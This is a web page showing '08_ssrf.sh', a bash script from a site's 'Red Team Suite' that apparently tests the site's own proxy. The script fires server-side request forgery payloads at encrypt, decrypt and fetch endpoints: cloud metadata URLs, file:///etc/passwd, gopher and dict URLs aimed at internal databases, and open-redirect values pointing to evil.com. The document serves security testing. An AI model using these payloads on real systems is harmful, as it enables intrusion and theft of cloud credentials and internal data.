AUTONOMY DIRECTORATE

๐Ÿ  Main

๐Ÿงช Interactive Apps

๐Ÿ“ฐ News

๐Ÿ›ก๏ธ PQ Crypta Proxy

๐Ÿ‘ค Account

โŸจ QUANTUM ERROR PORTAL โŸฉ

Navigate the Error Dimensions

PQ Crypta Logo

Script Viewer

Red Team Suite › 08_ssrf.sh

08_ssrf.sh 108 lines
1 #!/bin/bash
2 # SSRF - test if proxy can be weaponized to hit internal services
3 SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
4 source "$SCRIPT_DIR/../config.sh"
5 OUT="$OUT/ssrf"
6 mkdir -p "$OUT"
7
8 echo '=== SSRF TESTS ===' | tee "$OUT/summary.txt"
9
10 SSRF_PAYLOADS=(
11 'http://127.0.0.1/'
12 "http://127.0.0.1:${INTERNAL_API_PORT}/"
13 "http://127.0.0.1:${PROXY_ADMIN_PORT}/metrics"
14 'http://127.0.0.1:5432/'
15 'http://localhost/'
16 'http://0.0.0.0/'
17 'http://[::1]/'
18 "http://[::1]:${INTERNAL_API_PORT}/"
19 'http://[::ffff:127.0.0.1]/'
20 'http://[::ffff:7f00:1]/'
21 'http://[0:0:0:0:0:ffff:127.0.0.1]/'
22 'http://169.254.169.254/latest/meta-data/'
23 'http://[fd00:ec2::254]/latest/meta-data/'
24 'http://metadata.google.internal/'
25 'http://[fd00:ec2::254]/computeMetadata/v1/'
26 'http://100.100.100.200/latest/meta-data/'
27 'http://10.0.0.1/'
28 'http://192.168.1.1/'
29 'http://172.16.0.1/'
30 'file:///etc/passwd'
31 'dict://127.0.0.1:6379/info'
32 'dict://[::1]:6379/info'
33 'gopher://127.0.0.1:3306/_'
34 'gopher://[::1]:5432/_'
35 )
36
37 for ep in '/encrypt' '/decrypt'; do
38 echo '' | tee -a "$OUT/summary.txt"
39 echo "--- SSRF via $ep ---" | tee -a "$OUT/summary.txt"
40 for url in "${SSRF_PAYLOADS[@]}"; do
41 resp=$(curl -sk -o "$OUT/ssrf_resp.txt" -w '%{http_code}' --max-time 8 -X POST -H 'Content-Type: application/json' -d "{\"url\":\"$url\",\"data\":\"$url\"}" "$API_TARGET$ep")
42 body_peek=$(head -c 100 "$OUT/ssrf_resp.txt" 2>/dev/null | tr -d '\n')
43 echo "[$resp] $url | $body_peek" | tee -a "$OUT/summary.txt"
44 done
45 done
46
47 # URL redirect abuse
48 echo '' | tee -a "$OUT/summary.txt"
49 echo '--- Open Redirect ---' | tee -a "$OUT/summary.txt"
50 REDIRECTS=('//evil.com' 'https://evil.com' '/\evil.com' '/%09/evil.com' '///evil.com')
51 for r in "${REDIRECTS[@]}"; do
52 encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$r'))" 2>/dev/null || echo "$r")
53 resp=$(curl -sk -o /dev/null -w '%{http_code} %{redirect_url}' --max-time 8 "$TARGET/?redirect=$encoded" "$TARGET/?next=$encoded" "$TARGET/?url=$encoded")
54 echo "$resp -> $r" | tee -a "$OUT/summary.txt"
55 done
56
57 cat "$OUT/summary.txt"
58
59 # โ”€โ”€ DNS Rebinding โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
60 OUT_FILE="${OUT}/08_ssrf.txt"
61 [ ! -f "$OUT_FILE" ] && OUT_FILE="${OUT}/ssrf/summary.txt"
62 echo "" | tee -a "$OUT_FILE"
63 echo "--- DNS Rebinding Surface ---" | tee -a "$OUT_FILE"
64
65 # Test if server follows redirects to private ranges (rebinding precondition)
66 # A real DNS rebinding attack requires a controlled resolver โ€” these tests check
67 # whether the server fetches URLs that resolve to RFC-1918/loopback addresses,
68 # which is the necessary condition for rebinding to succeed.
69
70 PRIVATE_URLS=(
71 "http://127.0.0.1/"
72 "http://127.0.0.1:${INTERNAL_API_PORT}/status"
73 "http://127.0.0.1:${PROXY_ADMIN_PORT}/metrics"
74 "http://0.0.0.0/"
75 "http://[::1]/"
76 "http://localhost/"
77 "http://localhost:${INTERNAL_API_PORT}/"
78 "http://10.0.0.1/"
79 "http://192.168.1.1/"
80 "http://172.16.0.1/"
81 )
82
83 for PRIV_URL in "${PRIVATE_URLS[@]}"; do
84 ENC=$(python3 -c "import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1]))" "$PRIV_URL")
85 # Try common SSRF param names
86 for PARAM in url redirect src fetch target callback webhook; do
87 CODE=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 5 \
88 -A "$BROWSER_UA" "$TARGET/?${PARAM}=${ENC}" 2>/dev/null)
89 [ "$CODE" = "200" ] && printf ' [SSRF-HIT] ?%s=%s โ†’ 200\n' "$PARAM" "$PRIV_URL" | tee -a "$OUT_FILE"
90 done
91 # Also try via API
92 PAYLOAD=$(python3 -c "import json,sys; print(json.dumps({'url': sys.argv[1]}))" "$PRIV_URL")
93 CODE=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 5 \
94 -X POST -H 'Content-Type: application/json' \
95 -A "$BROWSER_UA" -d "$PAYLOAD" "$API_TARGET/fetch" 2>/dev/null)
96 [ "$CODE" = "200" ] && printf ' [SSRF-HIT] POST /fetch url=%s โ†’ 200\n' "$PRIV_URL" | tee -a "$OUT_FILE"
97 done
98 echo " DNS rebinding surface check complete (200 responses above = SSRF candidate)" | tee -a "$OUT_FILE"
99
100 # DNS rebinding via time-of-check/time-of-use: first resolve returns real IP, second returns 127.0.0.1
101 # We can't fully simulate this without a controlled resolver, but we can test
102 # if the server re-resolves on redirect or follows cached DNS
103 REDIRECT_TEST=$(curl -sk --http2 --max-redirects 5 -o /dev/null -w '%{redirect_url} %{http_code}' \
104 --max-time 10 -A "$BROWSER_UA" \
105 "$TARGET/?url=$(python3 -c "import urllib.parse; print(urllib.parse.quote('http://169.254.169.254/latest/meta-data/'))")" 2>/dev/null)
106 echo " Redirect chain on SSRF probe: $REDIRECT_TEST" | tee -a "$OUT_FILE"
107 echo "" | tee -a "$OUT_FILE"
108